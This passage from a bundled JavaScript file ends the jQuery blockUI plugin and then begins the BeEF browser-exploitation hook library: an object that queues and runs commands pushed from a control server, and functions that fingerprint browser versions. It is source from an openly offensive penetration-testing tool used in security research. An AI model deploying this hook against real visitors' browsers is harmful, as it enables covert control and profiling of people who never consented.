  2070.         $.blockUI   = function(opts) { install(window, opts); };
  2071.         $.unblockUI = function(opts) { remove(window, opts); };
  2072.  
  2073.         // convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
  2074.         $.growlUI = function(title, message, timeout, onClose) {
  2075.             var $m = $('<div class="growlUI"></div>');
  2076.             if (title) $m.append('<h1>'+title+'</h1>');
  2077.             if (message) $m.append('<h2>'+message+'</h2>');
  2078.             if (timeout === undefined) timeout = 3000;
  2079.  
  2080.             // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
  2081.             var callBlock = function(opts) {
  2082.                 opts = opts || {};
  2083.  
  2084.                 $.blockUI({
  2085.                     message: $m,
  2086.                     fadeIn : typeof opts.fadeIn  !== 'undefined' ? opts.fadeIn  : 700,
  2087.                     fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
  2088.                     timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
  2089.                     centerY: false,
  2090.                     showOverlay: false,
  2091.                     onUnblock: onClose,
  2092.                     css: $.blockUI.defaults.growlCSS
  2093.                 });
  2094.             };
  2095.  
  2096.             callBlock();
  2097.             var nonmousedOpacity = $m.css('opacity');
  2098.             $m.mouseover(function() {
  2099.                 callBlock({
  2100.                     fadeIn: 0,
  2101.                     timeout: 30000
  2102.                 });
  2103.  
  2104.                 var displayBlock = $('.blockMsg');
  2105.                 displayBlock.stop(); // cancel fadeout if it has started
  2106.                 displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
  2107.             }).mouseout(function() {
  2108.                 $('.blockMsg').fadeOut(1000);
  2109.             });
  2110.             // End konapun additions
  2111.         };
  2112.  
  2113.         // plugin method for blocking element content
  2114.         $.fn.block = function(opts) {
  2115.             if ( this[0] === window ) {
  2116.                 $.blockUI( opts );
  2117.                 return this;
  2118.             }
  2119.             var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
  2120.             this.each(function() {
  2121.                 var $el = $(this);
  2122.                 if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
  2123.                     return;
  2124.                 $el.unblock({ fadeOut: 0 });
  2125.             });
  2126.  
  2127.             return this.each(function() {
  2128.                 if ($.css(this,'position') == 'static') {
  2129.                     this.style.position = 'relative';
  2130.                     $(this).data('blockUI.static', true);
  2131.                 }
  2132.                 this.style.zoom = 1; // force 'hasLayout' in ie
  2133.                 install(this, opts);
  2134.             });
  2135.         };
  2136.  
  2137.         // plugin method for unblocking element content
  2138.         $.fn.unblock = function(opts) {
  2139.             if ( this[0] === window ) {
  2140.                 $.unblockUI( opts );
  2141.                 return this;
  2142.             }
  2143.             return this.each(function() {
  2144.                 remove(this, opts);
  2145.             });
  2146.         };
  2147.  
  2148.         $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
  2149.  
  2150.         // override these in your code to change the default behavior and style
  2151.         $.blockUI.defaults = {
  2152.             // message displayed when blocking (use null for no message)
  2153.             message:  '<h1>Please wait...</h1>',
  2154.  
  2155.             title: null,        // title string; only used when theme == true
  2156.             draggable: true,    // only used when theme == true (requires jquery-ui.js to be loaded)
  2157.  
  2158.             theme: false, // set to true to use with jQuery UI themes
  2159.  
  2160.             // styles for the message when blocking; if you wish to disable
  2161.             // these and use an external stylesheet then do this in your code:
  2162.             // $.blockUI.defaults.css = {};
  2163.             css: {
  2164.                 padding:    0,
  2165.                 margin:     0,
  2166.                 width:      '30%',
  2167.                 top:        '40%',
  2168.                 left:       '35%',
  2169.                 textAlign:  'center',
  2170.                 color:      '#000',
  2171.                 border:     '3px solid #aaa',
  2172.                 backgroundColor:'#fff',
  2173.                 cursor:     'wait'
  2174.             },
  2175.  
  2176.             // minimal style set used when themes are used
  2177.             themedCSS: {
  2178.                 width:  '30%',
  2179.                 top:    '40%',
  2180.                 left:   '35%'
  2181.             },
  2182.  
  2183.             // styles for the overlay
  2184.             overlayCSS:  {
  2185.                 backgroundColor:    '#000',
  2186.                 opacity:            0.6,
  2187.                 cursor:             'wait'
  2188.             },
  2189.  
  2190.             // style to replace wait cursor before unblocking to correct issue
  2191.             // of lingering wait cursor
  2192.             cursorReset: 'default',
  2193.  
  2194.             // styles applied when using $.growlUI
  2195.             growlCSS: {
  2196.                 width:      '350px',
  2197.                 top:        '10px',
  2198.                 left:       '',
  2199.                 right:      '10px',
  2200.                 border:     'none',
  2201.                 padding:    '5px',
  2202.                 opacity:    0.6,
  2203.                 cursor:     'default',
  2204.                 color:      '#fff',
  2205.                 backgroundColor: '#000',
  2206.                 '-webkit-border-radius':'10px',
  2207.                 '-moz-border-radius':   '10px',
  2208.                 'border-radius':        '10px'
  2209.             },
  2210.  
  2211.             // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
  2212.             // (hat tip to Jorge H. N. de Vasconcelos)
  2213.             /*jshint scripturl:true */
  2214.             iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
  2215.  
  2216.             // force usage of iframe in non-IE browsers (handy for blocking applets)
  2217.             forceIframe: false,
  2218.  
  2219.             // z-index for the blocking overlay
  2220.             baseZ: 1000,
  2221.  
  2222.             // set these to true to have the message automatically centered
  2223.             centerX: true, // <-- only effects element blocking (page block controlled via css above)
  2224.             centerY: true,
  2225.  
  2226.             // allow body element to be stetched in ie6; this makes blocking look better
  2227.             // on "short" pages.  disable if you wish to prevent changes to the body height
  2228.             allowBodyStretch: true,
  2229.  
  2230.             // enable if you want key and mouse events to be disabled for content that is blocked
  2231.             bindEvents: true,
  2232.  
  2233.             // be default blockUI will supress tab navigation from leaving blocking content
  2234.             // (if bindEvents is true)
  2235.             constrainTabKey: true,
  2236.  
  2237.             // fadeIn time in millis; set to 0 to disable fadeIn on block
  2238.             fadeIn:  200,
  2239.  
  2240.             // fadeOut time in millis; set to 0 to disable fadeOut on unblock
  2241.             fadeOut:  400,
  2242.  
  2243.             // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
  2244.             timeout: 0,
  2245.  
  2246.             // disable if you don't want to show the overlay
  2247.             showOverlay: true,
  2248.  
  2249.             // if true, focus will be placed in the first available input field when
  2250.             // page blocking
  2251.             focusInput: true,
  2252.  
  2253.             // elements that can receive focus
  2254.             focusableElements: ':input:enabled:visible',
  2255.  
  2256.             // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
  2257.             // no longer needed in 2012
  2258.             // applyPlatformOpacityRules: true,
  2259.  
  2260.             // callback method invoked when fadeIn has completed and blocking message is visible
  2261.             onBlock: null,
  2262.  
  2263.             // callback method invoked when unblocking has completed; the callback is
  2264.             // passed the element that has been unblocked (which is the window object for page
  2265.             // blocks) and the options that were passed to the unblock call:
  2266.             //  onUnblock(element, options)
  2267.             onUnblock: null,
  2268.  
  2269.             // callback method invoked when the overlay area is clicked.
  2270.             // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
  2271.             onOverlayClick: null,
  2272.  
  2273.             // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
  2274.             quirksmodeOffsetHack: 4,
  2275.  
  2276.             // class name of the message block
  2277.             blockMsgClass: 'blockMsg',
  2278.  
  2279.             // if it is already blocked, then ignore it (don't unblock and reblock)
  2280.             ignoreIfBlocked: false
  2281.         };
  2282.  
  2283.         // private data and functions follow...
  2284.  
  2285.         var pageBlock = null;
  2286.         var pageBlockEls = [];
  2287.  
  2288.         function install(el, opts) {
  2289.             var css, themedCSS;
  2290.             var full = (el == window);
  2291.             var msg = (opts && opts.message !== undefined ? opts.message : undefined);
  2292.             opts = $.extend({}, $.blockUI.defaults, opts || {});
  2293.  
  2294.             if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
  2295.                 return;
  2296.  
  2297.             opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
  2298.             css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
  2299.             if (opts.onOverlayClick)
  2300.                 opts.overlayCSS.cursor = 'pointer';
  2301.  
  2302.             themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
  2303.             msg = msg === undefined ? opts.message : msg;
  2304.  
  2305.             // remove the current block (if there is one)
  2306.             if (full && pageBlock)
  2307.                 remove(window, {fadeOut:0});
  2308.  
  2309.             // if an existing element is being used as the blocking content then we capture
  2310.             // its current place in the DOM (and current display style) so we can restore
  2311.             // it when we unblock
  2312.             if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
  2313.                 var node = msg.jquery ? msg[0] : msg;
  2314.                 var data = {};
  2315.                 $(el).data('blockUI.history', data);
  2316.                 data.el = node;
  2317.                 data.parent = node.parentNode;
  2318.                 data.display = node.style.display;
  2319.                 data.position = node.style.position;
  2320.                 if (data.parent)
  2321.                     data.parent.removeChild(node);
  2322.             }
  2323.  
  2324.             $(el).data('blockUI.onUnblock', opts.onUnblock);
  2325.             var z = opts.baseZ;
  2326.  
  2327.             // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
  2328.             // layer1 is the iframe layer which is used to supress bleed through of underlying content
  2329.             // layer2 is the overlay layer which has opacity and a wait cursor (by default)
  2330.             // layer3 is the message content that is displayed while blocking
  2331.             var lyr1, lyr2, lyr3, s;
  2332.             if (msie || opts.forceIframe)
  2333.                 lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
  2334.             else
  2335.                 lyr1 = $('<div class="blockUI" style="display:none"></div>');
  2336.  
  2337.             if (opts.theme)
  2338.                 lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
  2339.             else
  2340.                 lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
  2341.  
  2342.             if (opts.theme && full) {
  2343.                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
  2344.                 if ( opts.title ) {
  2345.                     s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  2346.                 }
  2347.                 s += '<div class="ui-widget-content ui-dialog-content"></div>';
  2348.                 s += '</div>';
  2349.             }
  2350.             else if (opts.theme) {
  2351.                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
  2352.                 if ( opts.title ) {
  2353.                     s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  2354.                 }
  2355.                 s += '<div class="ui-widget-content ui-dialog-content"></div>';
  2356.                 s += '</div>';
  2357.             }
  2358.             else if (full) {
  2359.                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
  2360.             }
  2361.             else {
  2362.                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
  2363.             }
  2364.             lyr3 = $(s);
  2365.  
  2366.             // if we have a message, style it
  2367.             if (msg) {
  2368.                 if (opts.theme) {
  2369.                     lyr3.css(themedCSS);
  2370.                     lyr3.addClass('ui-widget-content');
  2371.                 }
  2372.                 else
  2373.                     lyr3.css(css);
  2374.             }
  2375.  
  2376.             // style the overlay
  2377.             if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
  2378.                 lyr2.css(opts.overlayCSS);
  2379.             lyr2.css('position', full ? 'fixed' : 'absolute');
  2380.  
  2381.             // make iframe layer transparent in IE
  2382.             if (msie || opts.forceIframe)
  2383.                 lyr1.css('opacity',0.0);
  2384.  
  2385.             //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
  2386.             var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
  2387.             $.each(layers, function() {
  2388.                 this.appendTo($par);
  2389.             });
  2390.  
  2391.             if (opts.theme && opts.draggable && $.fn.draggable) {
  2392.                 lyr3.draggable({
  2393.                     handle: '.ui-dialog-titlebar',
  2394.                     cancel: 'li'
  2395.                 });
  2396.             }
  2397.  
  2398.             // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
  2399.             var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
  2400.             if (ie6 || expr) {
  2401.                 // give body 100% height
  2402.                 if (full && opts.allowBodyStretch && $.support.boxModel)
  2403.                     $('html,body').css('height','100%');
  2404.  
  2405.                 // fix ie6 issue when blocked element has a border width
  2406.                 if ((ie6 || !$.support.boxModel) && !full) {
  2407.                     var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
  2408.                     var fixT = t ? '(0 - '+t+')' : 0;
  2409.                     var fixL = l ? '(0 - '+l+')' : 0;
  2410.                 }
  2411.  
  2412.                 // simulate fixed position
  2413.                 $.each(layers, function(i,o) {
  2414.                     var s = o[0].style;
  2415.                     s.position = 'absolute';
  2416.                     if (i < 2) {
  2417.                         if (full)
  2418.                             s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
  2419.                         else
  2420.                             s.setExpression('height','this.parentNode.offsetHeight + "px"');
  2421.                         if (full)
  2422.                             s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
  2423.                         else
  2424.                             s.setExpression('width','this.parentNode.offsetWidth + "px"');
  2425.                         if (fixL) s.setExpression('left', fixL);
  2426.                         if (fixT) s.setExpression('top', fixT);
  2427.                     }
  2428.                     else if (opts.centerY) {
  2429.                         if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
  2430.                         s.marginTop = 0;
  2431.                     }
  2432.                     else if (!opts.centerY && full) {
  2433.                         var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
  2434.                         var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
  2435.                         s.setExpression('top',expression);
  2436.                     }
  2437.                 });
  2438.             }
  2439.  
  2440.             // show the message
  2441.             if (msg) {
  2442.                 if (opts.theme)
  2443.                     lyr3.find('.ui-widget-content').append(msg);
  2444.                 else
  2445.                     lyr3.append(msg);
  2446.                 if (msg.jquery || msg.nodeType)
  2447.                     $(msg).show();
  2448.             }
  2449.  
  2450.             if ((msie || opts.forceIframe) && opts.showOverlay)
  2451.                 lyr1.show(); // opacity is zero
  2452.             if (opts.fadeIn) {
  2453.                 var cb = opts.onBlock ? opts.onBlock : noOp;
  2454.                 var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
  2455.                 var cb2 = msg ? cb : noOp;
  2456.                 if (opts.showOverlay)
  2457.                     lyr2._fadeIn(opts.fadeIn, cb1);
  2458.                 if (msg)
  2459.                     lyr3._fadeIn(opts.fadeIn, cb2);
  2460.             }
  2461.             else {
  2462.                 if (opts.showOverlay)
  2463.                     lyr2.show();
  2464.                 if (msg)
  2465.                     lyr3.show();
  2466.                 if (opts.onBlock)
  2467.                     opts.onBlock.bind(lyr3)();
  2468.             }
  2469.  
  2470.             // bind key and mouse events
  2471.             bind(1, el, opts);
  2472.  
  2473.             if (full) {
  2474.                 pageBlock = lyr3[0];
  2475.                 pageBlockEls = $(opts.focusableElements,pageBlock);
  2476.                 if (opts.focusInput)
  2477.                     setTimeout(focus, 20);
  2478.             }
  2479.             else
  2480.                 center(lyr3[0], opts.centerX, opts.centerY);
  2481.  
  2482.             if (opts.timeout) {
  2483.                 // auto-unblock
  2484.                 var to = setTimeout(function() {
  2485.                     if (full)
  2486.                         $.unblockUI(opts);
  2487.                     else
  2488.                         $(el).unblock(opts);
  2489.                 }, opts.timeout);
  2490.                 $(el).data('blockUI.timeout', to);
  2491.             }
  2492.         }
  2493.  
  2494.         // remove the block
  2495.         function remove(el, opts) {
  2496.             var count;
  2497.             var full = (el == window);
  2498.             var $el = $(el);
  2499.             var data = $el.data('blockUI.history');
  2500.             var to = $el.data('blockUI.timeout');
  2501.             if (to) {
  2502.                 clearTimeout(to);
  2503.                 $el.removeData('blockUI.timeout');
  2504.             }
  2505.             opts = $.extend({}, $.blockUI.defaults, opts || {});
  2506.             bind(0, el, opts); // unbind events
  2507.  
  2508.             if (opts.onUnblock === null) {
  2509.                 opts.onUnblock = $el.data('blockUI.onUnblock');
  2510.                 $el.removeData('blockUI.onUnblock');
  2511.             }
  2512.  
  2513.             var els;
  2514.             if (full) // crazy selector to handle odd field errors in ie6/7
  2515.                 els = $('body').children().filter('.blockUI').add('body > .blockUI');
  2516.             else
  2517.                 els = $el.find('>.blockUI');
  2518.  
  2519.             // fix cursor issue
  2520.             if ( opts.cursorReset ) {
  2521.                 if ( els.length > 1 )
  2522.                     els[1].style.cursor = opts.cursorReset;
  2523.                 if ( els.length > 2 )
  2524.                     els[2].style.cursor = opts.cursorReset;
  2525.             }
  2526.  
  2527.             if (full)
  2528.                 pageBlock = pageBlockEls = null;
  2529.  
  2530.             if (opts.fadeOut) {
  2531.                 count = els.length;
  2532.                 els.stop().fadeOut(opts.fadeOut, function() {
  2533.                     if ( --count === 0)
  2534.                         reset(els,data,opts,el);
  2535.                 });
  2536.             }
  2537.             else
  2538.                 reset(els, data, opts, el);
  2539.         }
  2540.  
  2541.         // move blocking element back into the DOM where it started
  2542.         function reset(els,data,opts,el) {
  2543.             var $el = $(el);
  2544.             if ( $el.data('blockUI.isBlocked') )
  2545.                 return;
  2546.  
  2547.             els.each(function(i,o) {
  2548.                 // remove via DOM calls so we don't lose event handlers
  2549.                 if (this.parentNode)
  2550.                     this.parentNode.removeChild(this);
  2551.             });
  2552.  
  2553.             if (data && data.el) {
  2554.                 data.el.style.display = data.display;
  2555.                 data.el.style.position = data.position;
  2556.                 data.el.style.cursor = 'default'; // #59
  2557.                 if (data.parent)
  2558.                     data.parent.appendChild(data.el);
  2559.                 $el.removeData('blockUI.history');
  2560.             }
  2561.  
  2562.             if ($el.data('blockUI.static')) {
  2563.                 $el.css('position', 'static'); // #22
  2564.             }
  2565.  
  2566.             if (typeof opts.onUnblock == 'function')
  2567.                 opts.onUnblock(el,opts);
  2568.  
  2569.             // fix issue in Safari 6 where block artifacts remain until reflow
  2570.             var body = $(document.body), w = body.width(), cssW = body[0].style.width;
  2571.             body.width(w-1).width(w);
  2572.             body[0].style.width = cssW;
  2573.         }
  2574.  
  2575.         // bind/unbind the handler
  2576.         function bind(b, el, opts) {
  2577.             var full = el == window, $el = $(el);
  2578.  
  2579.             // don't bother unbinding if there is nothing to unbind
  2580.             if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
  2581.                 return;
  2582.  
  2583.             $el.data('blockUI.isBlocked', b);
  2584.  
  2585.             // don't bind events when overlay is not in use or if bindEvents is false
  2586.             if (!full || !opts.bindEvents || (b && !opts.showOverlay))
  2587.                 return;
  2588.  
  2589.             // bind anchors and inputs for mouse and key events
  2590.             var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
  2591.             if (b)
  2592.                 $(document).bind(events, opts, handler);
  2593.             else
  2594.                 $(document).unbind(events, handler);
  2595.  
  2596.         // former impl...
  2597.         //      var $e = $('a,:input');
  2598.         //      b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
  2599.         }
  2600.  
  2601.         // event handler to suppress keyboard/mouse events when blocking
  2602.         function handler(e) {
  2603.             // allow tab navigation (conditionally)
  2604.             if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
  2605.                 if (pageBlock && e.data.constrainTabKey) {
  2606.                     var els = pageBlockEls;
  2607.                     var fwd = !e.shiftKey && e.target === els[els.length-1];
  2608.                     var back = e.shiftKey && e.target === els[0];
  2609.                     if (fwd || back) {
  2610.                         setTimeout(function(){focus(back);},10);
  2611.                         return false;
  2612.                     }
  2613.                 }
  2614.             }
  2615.             var opts = e.data;
  2616.             var target = $(e.target);
  2617.             if (target.hasClass('blockOverlay') && opts.onOverlayClick)
  2618.                 opts.onOverlayClick(e);
  2619.  
  2620.             // allow events within the message content
  2621.             if (target.parents('div.' + opts.blockMsgClass).length > 0)
  2622.                 return true;
  2623.  
  2624.             // allow events for content that is not being blocked
  2625.             return target.parents().children().filter('div.blockUI').length === 0;
  2626.         }
  2627.  
  2628.         function focus(back) {
  2629.             if (!pageBlockEls)
  2630.                 return;
  2631.             var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
  2632.             if (e)
  2633.                 e.focus();
  2634.         }
  2635.  
  2636.         function center(el, x, y) {
  2637.             var p = el.parentNode, s = el.style;
  2638.             var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
  2639.             var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
  2640.             if (x) s.left = l > 0 ? (l+'px') : '0';
  2641.             if (y) s.top  = t > 0 ? (t+'px') : '0';
  2642.         }
  2643.  
  2644.         function sz(el, p) {
  2645.             return parseInt($.css(el,p),10)||0;
  2646.         }
  2647.  
  2648.     }
  2649.  
  2650.  
  2651.     /*global define:true */
  2652.     if (typeof define === 'function' && define.amd && define.amd.jQuery) {
  2653.         define(['jquery'], setup);
  2654.     } else {
  2655.         setup(jQuery);
  2656.     }
  2657.  
  2658. })();
  2659.  
  2660.  
  2661. //
  2662. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  2663. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  2664. // See the file 'doc/COPYING' for copying permission
  2665. //
  2666.  
  2667. /*!
  2668.  * BeEF JS Library 0.4.7.0-alpha
  2669.  * Register the BeEF JS on the window object.
  2670.  */
  2671.  
  2672. $j = jQuery.noConflict();
  2673.  
  2674. if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
  2675.  
  2676.     var BeefJS = {
  2677.  
  2678.         version: '0.4.7.0-alpha',
  2679.  
  2680.         // This get set to true during window.onload(). It's a useful hack when messing with document.write().
  2681.         pageIsLoaded: false,
  2682.  
  2683.         // An array containing functions to be executed by the window.onpopstate() method.
  2684.         onpopstate: new Array(),
  2685.  
  2686.         // An array containing functions to be executed by the window.onclose() method.
  2687.         onclose: new Array(),
  2688.  
  2689.         // An array containing functions to be executed by Beef.
  2690.         commands: new Array(),
  2691.  
  2692.         // An array containing all the BeEF JS components.
  2693.         components: new Array(),
  2694.  
  2695.         /**
  2696.          * Adds a function to display debug messages (wraps console.log())
  2697.          * @param: {string} the debug string to return
  2698.          */
  2699.         debug: function(msg) {
  2700.             if (!false) return;
  2701.             if (typeof console == "object" && typeof console.log == "function") {
  2702.                 var currentdate = new Date();
  2703.                 var pad = function(n){return ("0" + n).slice(-2);}
  2704.                 var datetime = currentdate.getFullYear() + "-"
  2705.                 + pad(currentdate.getMonth()+1)  + "-"
  2706.                 + pad(currentdate.getDate()) + " "
  2707.                 + pad(currentdate.getHours()) + ":"
  2708.                 + pad(currentdate.getMinutes()) + ":"
  2709.                 + pad(currentdate.getSeconds());
  2710.                 console.log('['+datetime+'] '+msg);
  2711.             } else {
  2712.                 // TODO: maybe add a callback to BeEF server for debugging purposes
  2713.                 //window.alert(msg);
  2714.             }
  2715.         },
  2716.  
  2717.         /**
  2718.         * Adds a function to execute.
  2719.         * @param: {Function} the function to execute.
  2720.         */
  2721.         execute: function(fn) {
  2722.                 if ( typeof  beef.websocket == "undefined"){
  2723.                     this.commands.push(fn);
  2724.                 }else{
  2725.                     fn();
  2726.                 }
  2727.         },
  2728.  
  2729.        /**
  2730.         * Registers a component in BeEF JS.
  2731.         * @params: {String} the component.
  2732.         *
  2733.         * Components are very important to register so the framework does not
  2734.         * send them back over and over again.
  2735.         */
  2736.         regCmp: function(component) {
  2737.                 this.components.push(component);
  2738.         }
  2739.  
  2740.     };
  2741.  
  2742.     window.beef = BeefJS;
  2743. }
  2744.  
  2745.  
  2746. //
  2747. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  2748. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  2749. // See the file 'doc/COPYING' for copying permission
  2750. //
  2751.  
  2752. /**
  2753.  * @literal object: beef.browser
  2754.  *
  2755.  * Basic browser functions.
  2756.  */
  2757. beef.browser = {
  2758.  
  2759.     /**
  2760.      * Returns the user agent that the browser is claiming to be.
  2761.      * @example: beef.browser.getBrowserReportedName()
  2762.      */
  2763.     getBrowserReportedName: function () {
  2764.         return navigator.userAgent;
  2765.     },
  2766.  
  2767.     /**
  2768.      * Returns true if Avant Browser.
  2769.      * @example: beef.browser.isA()
  2770.      */
  2771.     isA: function () {
  2772.         return window.navigator.userAgent.match(/Avant TriCore/) != null;
  2773.     },
  2774.  
  2775.     /**
  2776.      * Returns true if Iceweasel.
  2777.      * @example: beef.browser.isIceweasel()
  2778.      */
  2779.     isIceweasel: function () {
  2780.         return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
  2781.     },
  2782.  
  2783.     /**
  2784.      * Returns true if Midori.
  2785.      * @example: beef.browser.isMidori()
  2786.      */
  2787.     isMidori: function () {
  2788.         return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
  2789.     },
  2790.  
  2791.     /**
  2792.      * Returns true if Odyssey
  2793.      * @example: beef.browser.isOdyssey()
  2794.      */
  2795.     isOdyssey: function () {
  2796.         return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
  2797.     },
  2798.  
  2799.     /**
  2800.      * Returns true if Brave
  2801.      * @example: beef.browser.isBrave()
  2802.      */
  2803.     isBrave: function(){
  2804.         return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
  2805.     },
  2806.  
  2807.     /**
  2808.      * Returns true if IE6.
  2809.      * @example: beef.browser.isIE6()
  2810.      */
  2811.     isIE6: function () {
  2812.         return !window.XMLHttpRequest && !window.globalStorage;
  2813.     },
  2814.  
  2815.     /**
  2816.      * Returns true if IE7.
  2817.      * @example: beef.browser.isIE7()
  2818.      */
  2819.     isIE7: function () {
  2820.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
  2821.     },
  2822.  
  2823.     /**
  2824.      * Returns true if IE8.
  2825.      * @example: beef.browser.isIE8()
  2826.      */
  2827.     isIE8: function () {
  2828.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
  2829.     },
  2830.  
  2831.     /**
  2832.      * Returns true if IE9.
  2833.      * @example: beef.browser.isIE9()
  2834.      */
  2835.     isIE9: function () {
  2836.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
  2837.     },
  2838.  
  2839.     /**
  2840.      *
  2841.      * Returns true if IE10.
  2842.      * @example: beef.browser.isIE10()
  2843.      */
  2844.     isIE10: function () {
  2845.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
  2846.     },
  2847.  
  2848.     /**
  2849.      *
  2850.      * Returns true if IE11.
  2851.      * @example: beef.browser.isIE11()
  2852.      */
  2853.     isIE11: function () {
  2854.         return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
  2855.     },
  2856.  
  2857.     /**
  2858.      * Returns true if IE.
  2859.      * @example: beef.browser.isIE()
  2860.      */
  2861.     isIE: function () {
  2862.         return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
  2863.     },
  2864.  
  2865.     /**
  2866.      * Returns true if FF2.
  2867.      * @example: beef.browser.isFF2()
  2868.      */
  2869.     isFF2: function () {
  2870.         return !!window.globalStorage && !window.postMessage;
  2871.     },
  2872.  
  2873.     /**
  2874.      * Returns true if FF3.
  2875.      * @example: beef.browser.isFF3()
  2876.      */
  2877.     isFF3: function () {
  2878.         return !!window.globalStorage && !!window.postMessage && !JSON.parse;
  2879.     },
  2880.  
  2881.     /**
  2882.      * Returns true if FF3.5.
  2883.      * @example: beef.browser.isFF3_5()
  2884.      */
  2885.     isFF3_5: function () {
  2886.         return !!window.globalStorage && !!JSON.parse && !window.FileReader;
  2887.     },
  2888.  
  2889.     /**
  2890.      * Returns true if FF3.6.
  2891.      * @example: beef.browser.isFF3_6()
  2892.      */
  2893.     isFF3_6: function () {
  2894.         return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
  2895.     },
  2896.  
  2897.     /**
  2898.      * Returns true if FF4.
  2899.      * @example: beef.browser.isFF4()
  2900.      */
  2901.     isFF4: function () {
  2902.         return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
  2903.     },
  2904.  
  2905.     /**
  2906.      * Returns true if FF5.
  2907.      * @example: beef.browser.isFF5()
  2908.      */
  2909.     isFF5: function () {
